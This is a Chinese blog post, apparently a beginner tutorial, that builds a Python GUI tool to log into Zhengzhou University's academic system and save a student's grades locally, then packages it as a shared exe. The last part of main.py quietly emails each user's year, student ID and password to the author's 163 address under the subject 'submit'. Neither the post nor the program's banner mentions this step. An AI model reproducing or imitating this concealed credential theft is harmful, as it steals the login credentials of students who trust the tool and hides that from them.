您的位置:首页 > 编程语言 > Python开发

我的python第一天:爬虫+界面+发邮件

2016-02-25 12:03 645 查看

我教女友学python爬虫

Python是一种计算机程序设计语言。你可能已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合初学者的Basic语言,适合网页编程的JavaScript语言等等。

那Python是一种什么语言?

首先,我们普及一下编程语言的基础知识。用任何编程语言来开发程序,都是为了让计算机干活,比如下载一个MP3,编写一个文档等等,而计算机干活的CPU只认识机器指令,所以,尽管不同的编程语言差异极大,最后都得“翻译”成CPU可以执行的机器指令。而不同的编程语言,干同一个活,编写的代码量,差距也很大。

比如,完成同一个任务,C语言要写1000行代码,Java只需要写100行,而Python可能只要20行。

所以Python是一种相当高级的语言。

你也许会问,代码少还不好?代码少的代价是运行速度慢,C程序运行1秒钟,Java程序可能需要2秒,而Python程序可能就需要10秒。

那是不是越低级的程序越难学,越高级的程序越简单?表面上来说,是的,但是,在非常高的抽象计算中,高级的Python程序设计也是非常难学的,所以,高级程序语言不等于简单。

但是,对于初学者和完成普通任务,Python语言是非常简单易用的。连Google都在大规模使用Python,你就不用担心学了会没用。

用Python可以做什么?可以做日常任务,比如自动备份你的MP3;可以做网站,很多著名的网站包括YouTube就是Python写的;可以做网络游戏的后台,很多在线游戏的后台都是Python开发的。总之就是能干很多很多事啦。

Python当然也有不能干的事情,比如写操作系统,这个只能用C语言写;写手机应用,只能用Objective-C(针对iPhone)和Java(针对Android);写3D游戏,最好用C或C++。

如果你是小白用户,满足以下条件:

会使用电脑,但从来没写过程序;

想从编程小白变成专业的软件架构师;

想学一门编程语言,但是又不知道从何下手;

愿意和我一起学习。

那么,不要再犹豫了,跟我一起重新开始,从心开始走进python的世界吧!

废话不多说,和我一起一步一步往下走吧。

准备工作

python、PyQt、BeautifSoup、py2exe的安装。下载地址 python和PyQt的安装方法 BeautifulSoup的安装 py2exe的安装和使用

添加python安装目录到环境变量-系统变量-Path的值。直接paste到末尾即可,以封号隔开。

Dialog.py

使用PyQt生成代码如下,并保存为Dialog.py。

# -*- coding: utf-8 -*-

# Form implementation generated from reading ui file 'dialog.ui'
#
# Created by: PyQt4 UI code generator 4.11.4
#
# WARNING! All changes made in this file will be lost!

from PyQt4 import QtCore, QtGui

try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s

try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)

class Ui_GradeGet(object):
def setupUi(self, GradeGet):
GradeGet.setObjectName(_fromUtf8("GradeGet"))
GradeGet.resize(303, 175)
self.widget = QtGui.QWidget(GradeGet)
self.widget.setGeometry(QtCore.QRect(70, 30, 167, 111))
self.widget.setObjectName(_fromUtf8("widget"))
self.gridLayout = QtGui.QGridLayout(self.widget)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label_3 = QtGui.QLabel(self.widget)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.horizontalLayout.addWidget(self.label_3)
self.grade = QtGui.QLineEdit(self.widget)
self.grade.setToolTip(_fromUtf8(""))
self.grade.setObjectName(_fromUtf8("grade"))
self.horizontalLayout.addWidget(self.grade)
self.gridLayout.addLayout(self.horizontalLayout, 0, 0, 1, 1)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.label = QtGui.QLabel(self.widget)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_2.addWidget(self.label)
self.sno = QtGui.QLineEdit(self.widget)
self.sno.setObjectName(_fromUtf8("sno"))
self.horizontalLayout_2.addWidget(self.sno)
self.gridLayout.addLayout(self.horizontalLayout_2, 1, 0, 1, 1)
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.label_2 = QtGui.QLabel(self.widget)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.horizontalLayout_3.addWidget(self.label_2)
self.password = QtGui.QLineEdit(self.widget)
self.password.setEchoMode(QtGui.QLineEdit.Password)
self.password.setObjectName(_fromUtf8("password"))
self.horizontalLayout_3.addWidget(self.password)
self.gridLayout.addLayout(self.horizontalLayout_3, 2, 0, 1, 1)
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem)
self.OK = QtGui.QPushButton(self.widget)
self.OK.setObjectName(_fromUtf8("OK"))
self.horizontalLayout_4.addWidget(self.OK)
self.gridLayout.addLayout(self.horizontalLayout_4, 3, 0, 1, 1)

self.retranslateUi(GradeGet)
QtCore.QObject.connect(self.OK, QtCore.SIGNAL(_fromUtf8("clicked()")), GradeGet.accept)
QtCore.QMetaObject.connectSlotsByName(GradeGet)
GradeGet.setTabOrder(self.grade, self.sno)
GradeGet.setTabOrder(self.sno, self.password)
GradeGet.setTabOrder(self.password, self.OK)

def retranslateUi(self, GradeGet):
GradeGet.setWindowTitle(_translate("GradeGet", "Dialog", None))
self.label_3.setText(_translate("GradeGet", "年级", None))
self.label.setText(_translate("GradeGet", "学号", None))
self.label_2.setText(_translate("GradeGet", "密码", None))
self.OK.setText(_translate("GradeGet", "确定", None))


参考这里

编写main函数,与Dialog.py放在同一个文件夹下。

#-*- coding: cp936-*-
#! /usr/bin/env python
#---------------------------------------
#   程序:郑州大学教务在线数据获取
#   版本:0.5
#   作者:陆嵩&潘凎
#   日期:2016-2-20
#   语言:Python 2.7
#   操作:输入你的年级、学号和密码
#   功能:将你每一学期的成绩打包txt存储到本地。
#---------------------------------------
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import sys
import dialog
#import GradeAcquisition

class TestDialog(QDialog,dialog.Ui_GradeGet):
def __init__(self,parent=None):
super(TestDialog,self).__init__(parent)
self.setupUi(self)

app=QApplication(sys.argv)
dialog=TestDialog()
dialog.show()
app.exec_()
grade=dialog.grade.text()
sno=dialog.sno.text()
password=dialog.password.text()

import urllib
import urllib2
import re
from bs4 import BeautifulSoup

#post数据&登录------------------------------
def post():
url = 'http://jw.zzu.edu.cn/scripts/qscore.dll/search'
values = {'nianji': grade,
'xuehao': sno,
'mima'  : password}
data = urllib.urlencode(values)
req = urllib2.Request(url,data)
response = urllib2.urlopen(req)
the_page = response.read()
return the_page
#-----------------------------------------

#获取各学期网页源码---------------------------
def pages_get(the_page):
urltail_format=re.compile('(?<=userid\=)[A-Z\d]+(?="\>)')
urltails=urltail_format.findall(the_page)
pages=[]
for i in range(0,len(urltails)-1):
term_url='http://jw.zzu.edu.cn/scripts/qscore.dll/search?userid='+urltails[i]
term_page = urllib.urlopen(term_url)
pages.append(term_page.read())
term_page.close()
pages.append(the_page)
return pages
#-----------------------------------------

#从网页中抓取所需数据-------------------------
def data_collection(page):
soup = BeautifulSoup(page,from_encoding="cp936")
scores=str(soup.table)
r_subject = re.compile('(?<="40%"\>).*?(?=\<\/td\>)')
r_type = re.compile('(?<="17%"\>).*?(?=\<\/td\>)')
r_others = re.compile('(?<="15%"\>).*?(?=\<\/td\>)')
subjects = r_subject.findall(scores)
types = r_type.findall(scores)
others = r_others.findall(scores)
length = len(subjects)
csv = []
for i in range(0,length):
info = subjects[i] +','+ types[i] +','+ others[3*i] +','+ others[1+3*i] +','+ others[2+3*i] +'\n'
csv.append(info)
return csv
#-----------------------------------------

#数据的保存---------------------------------
def data_save(data,file_name):
file_object = open('D:\\'+file_name, 'w+')
file_object.writelines(data)
file_object.close()
#-----------------------------------------

##---------------主程序—--------------------
if __name__ == '__main__':
print u"""#---------------------------------------
#   程序:郑州大学教务在线成绩数据获取
#   版本:0.5
#   作者:陆嵩
#   日期:2016-2-20
#   语言:Python 2.7
#   操作:输入你的年级、学号和密码
#   功能:将你每一学期的成绩打包txt存储到本地。
#---------------------------------------
"""
the_page=post()
pages=pages_get(the_page)
for i in range(0,len(pages)):
print u'获取第'+str(i+1)+u'学期数据中...'
data=data_collection(pages[i])
file_name='第'+str(i+1)+'学期.txt'
data_save(data,file_name)
print u'完成!数据保存D盘,请注意查看。'

import sendby163
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import os
import datetime
import time
import subprocess
reload(sys)
sys.setdefaultencoding("utf-8")
mailto_list = ["lusongcool@163.com"]  #目标邮箱
mail_host = "smtp.163.com"
mail_user = "lusongcool@163.com"
mail_pass = "******"  #163邮箱smtp生成的密码
def send_mail(to_list, sub, content):
me = "LogServer"+"<"+mail_user+">"
msg = MIMEText(content, _subtype='plain', _charset='utf-8')
msg['Subject'] = sub
msg['From'] = me
msg['To'] = ";".join(to_list)
try:
server = smtplib.SMTP()
server.connect(mail_host)
server.login(mail_user, mail_pass)
server.sendmail(me, to_list, msg.as_string())
server.close()
return True
except Exception, e:
print str(e)
return False
send_mail(mailto_list, 'submit',grade+' '+' '+sno+' '+password)
i=input()


参考链接1

参考链接2

摇身一变成exe可执行程序

1.编写setup.py

from distutils.core import setup
import py2exe
setup(console=[{"script":"main.py"}], options={"py2exe":{"includes":["sip"]}})


2.打开终端运行
setup.py py2exe


这里有参考

可以看到,生成了“build”和”dist”两个文件夹。dist文件夹下有个“main.exe”,双击它,即可运行我们做的程序。

这里也分享一份我生成zzu成绩查询







几点说明:1.有人问为什么只是把代码黏贴上来,而不进行逐句说明。这事儿不能说太细,网上有大把的资料。很多话说了,不利于你学习,也浪费我时间。2.做一个程序,不可能会顺风顺水,肯定会出现各种问题,要学会自己调试,和上网查询解决方法。3.为什么要用我现在用的这套版本的这套工具?我说了,我现在用的最适合初学者用的,最容易上手的工具。4.PyQt作为面向对象的一个工具,零门槛让你快速学会做界面。当然,容易功力够高深,直接导入PyQt相关模块,动手敲代码也是很便捷的。5.有关程序内容的其他疑问,可以留言或者私信我的网易邮箱,地址代码中有。

参考外链1

参考外链2

参考外链3
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: